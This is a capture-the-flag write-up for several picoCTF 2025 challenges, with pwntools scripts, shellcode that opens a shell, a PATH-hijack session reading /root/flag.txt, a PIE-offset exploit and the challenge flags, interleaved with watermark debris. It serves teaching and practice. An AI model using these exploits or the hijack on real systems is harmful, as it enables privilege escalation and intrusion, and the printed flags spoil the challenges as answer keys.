console.log(`[!] Could not hook CreateFileW: ${e.message}`);
}
trace it with
SE
frida -f bininst2.exe -l soluce.js
and we got the flag picoCTF{fr1da_f0r_b1n_in5trum3nt4tion!_b21aef39}
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


Chronohack

C
SE
Reading the challenge description and taking a closer look at
BJ

the given file (token_generator.py), we quickly realized that we


have to guess a token generated server-side so as to get the
flag.

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

But how was that token generated ?

​ ​ ​ All rights reserved - BJ SEC 2025


It was generated using random with a seed [int(time.time() *
1000)]. The trick here is that if we succeed at guessing the
correct seed we shall be able to recover the token’s characters
because seeding somehow fixed the random generation
process.

Cause time.time(), it seems easy , right ?


Once we connect to the server instance, we shall compute

C
time.time() client side and just add or subtract some integers to
it so as to guess the correct seed.
But the difficult part is that the server compute [int(time.time() *
SE
1000)] and not [int(time.time()] and [int(time.time() * 1000)] has
a higher variation rate than [int(time.time()]. Look at the picture
below so as to better understand it.
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
So, even if we calculate [int(time.time() * 1000)] on the client
side after connecting to the server, we won't be able to meet
BJ

the challenge because we only have 50 attempts, whereas the


rate of variation extends to a thousand.

We need to think smarter and find a way to lessen the number


of attempts. That’s what we did below :

​ ​ ​ All rights reserved - BJ SEC 2025


Also, we need to run our program on an OS which is tolerant to
network delays. And Linux was a good one.

So based on our understanding, we wrote down a script to


connect to the instance so as to solve the challenge and grab
the flag.

C
#!/usr/bin/env python3

from pwn import remote


import random
import time
import sys
SE
PORT=int(sys.argv[1])
conn = remote("verbal-sleep.picoctf.net", PORT)
seed_before_first_data = int(time.time() * 1000)
BJ

def get_random(i, length):


alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
random.seed(i) # seeding with current time
s = ""
for i in range(length):
s += random.choice(alphabet)
return s

print(conn.recvuntil(b"Enter your guess for the token (or exit):").decode())


seed_after_first_data = int(time.time() * 1000)

​ ​ ​ All rights reserved - BJ SEC 2025


time_difference = (seed_after_first_data - seed_before_first_data) // 2

for i in range(seed_before_first_data + time_difference, seed_before_first_data +


time_difference + 50):
token = get_random(i, 20)
conn.sendline(token.encode())
output = conn.recvuntil(b"!").decode()
if "Congratulations" in output:
conn.recvline()
print("Token", token, "found with seed", i)

C
print("FLAG is =>", conn.recvline().decode())
break
elif "exhausted" in output:
break
elif "Sorry" in output:
SE
conn.recvuntil(b"Enter your guess for the token (or exit):").decode()

conn.close()

And we ran it and got the flag…


BJ

​ ​ ​ All rights reserved - BJ SEC 2025


BINARY EXPLOITATION
Handoff
The solve script:
from pwn import *

elf = context.binary = ELF('./handoff')


p = process("./handoff")

C
#p = remote('shape-facility.picoctf.net', 4444)

shellcode = asm('''
xor rsi, rsi
push 0
pop rax
SE
xor rdi, rdi
mov rsi, rsp
push 0x64
pop rdx
syscall
jmp rsp
BJ

''')

newshellcode = asm('''
sub rax, 716
jmp rax
jmp rax
''')

p.sendlineafter(b'app', b'1')
p.sendlineafter(b'name:', b'name')

​ ​ ​ All rights reserved - BJ SEC 2025


p.sendlineafter(b'app', b'2')
p.sendlineafter(b'to?', b'0')
p.sendlineafter(b'them?', shellcode)

payload = newshellcode
payload += asm('nop') * (20 - len(payload))
payload += p64(0x401014)

p.sendlineafter(b'app', b'3')
p.sendlineafter(b'it:', payload)

C
p.sendline(asm(shellcraft.sh()))
p.interactive() SE
Flag : picoCTF{p1v0ted_ftw_8ff634bd}

Hash Only 1

I first downloaded the binary with SCP. Analyzing it with Ghidra


showed that the MD5 hasher is not properly referenced and
implemented, and a simple system detournement can lead it to do
anything we want.​
BJ


The steps​

ctf-player@pico-chall$ echo -e '#!/bin/bash\ncat /root/flag.txt' >


md5sum​
ctf-player@pico-chall$ chmod +x md5sum​
ctf-player@pico-chall$ mkdir /tmp/exploit_path​
ctf-player@pico-chall$ mv md5sum /tmp/exploit_path/​

​ ​ ​ All rights reserved - BJ SEC 2025


ctf-player@pico-chall$ export PATH=/tmp/exploit_path:$PATH​
ctf-player@pico-chall$ ls​
flaghasher​
ctf-player@pico-chall$ ./flaghasher ​
Computing the MD5 hash of /root/flag.txt.... ​

picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_0c1fd083}ctf-player@p
ico-chall$ Connection to shape-facility.picoctf.net closed by remote
host.​

C
Connection to shape-facility.picoctf.net closed.

Flag : picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_0c1fd083}

Hash Only 2
SE
It is the same bin as the one in Hash only 1, just some basic system
hardening added​

The steps:​
BJ

└─$ ssh -t ctf-player@rescued-float.picoctf.net -p 60366 "bash


--noprofile --norc"​
ctf-player@rescued-float.picoctf.net's password:​

bash-5.0$ pwd​
/home​
bash-5.0$ ls​
ctf-player​

​ ​ ​ All rights reserved - BJ SEC 2025


bash-5.0$ /usr/local/bin/./flaghasher​
Computing the MD5 hash of /root/flag.txt....​

0b3c98cae7f70478a2fb1cb6c420141c /root/flag.txt​
bash-5.0$ echo -e '#!/bin/bash\ncat /root/flag.txt' >
/usr/local/bin/md5sum​
bash-5.0$ cd /usr/local/bin/​
bash-5.0$ ls​

C
flaghasher md5sum​
bash-5.0$ chmod +x md5sum​
bash-5.0$ mkdir /tmp/exploit_path​
SE
bash-5.0$ mv md5sum /tmp/exploit_path/​
bash-5.0$ export PATH=/tmp/exploit_path:$PATH​
bash-5.0$ ./flaghasher​
Computing the MD5 hash of /root/flag.txt....​

picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_9bde33ed}bash-5.0$
Connection to rescued-float.picoctf.net closed by remote host.​
Connection to rescued-float.picoctf.net closed.
BJ

Flag: picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_9bde33ed}

Pie time

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
"PIE TIME" is a binary exploitation challenge that focuses on understanding and
BJ

bypassing Position Independent Executable (PIE) protection.

PIE is a security feature that randomizes the base address of an executable in memory
when it runs. This makes it more difficult for attackers to predict the location of specific
functions or instructions. However, this challenge demonstrates how relative offsets
between functions remain constant, which can be exploited.

Looking at the provided vuln.c source code, we can identify that : :

1.​ There's a win() function that reads and prints the flag file
2.​ The main() function leaks its own address through printf("Address of main: %p\n",
&main);

​ ​ ​ All rights reserved - BJ SEC 2025


3.​ The program accepts an address input from the user and attempts to execute
code at that address using a function pointer

The vulnerability is that we can calculate the address of the win() function using the
leaked address of main() and the relative offset between these two functions

The exploit script :

from pwn import *

C
# Connect to the remote server
conn = remote('rescued-float.picoctf.net', 54726)

# Capture the leaked address of main()


SE
main_line = conn.recvline().decode()
main_addr = int(main_line.split("Address of main: ")[1].strip(), 16)
log.info(f"Address of main: {hex(main_addr)}")

# Calculate the offset between win() and main()


# win is at 0x12a7 and main is at 0x133d, so the offset is -0x96
offset = -0x96
BJ

# Calculate the runtime address of win()


win_addr = main_addr + offset
log.info(f"Calculated address of win(): {hex(win_addr)}")

# Send the address of win()


conn.recvuntil(b"0x12345: ")
conn.sendline(hex(win_addr)[2:].encode()) # Send without the "0x" prefix

# Display the response and flag


response = conn.recv(4096).decode()

​ ​ ​ All rights reserved - BJ SEC 2025


print(f"Response: {response}")

conn.close()

C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025

You might also like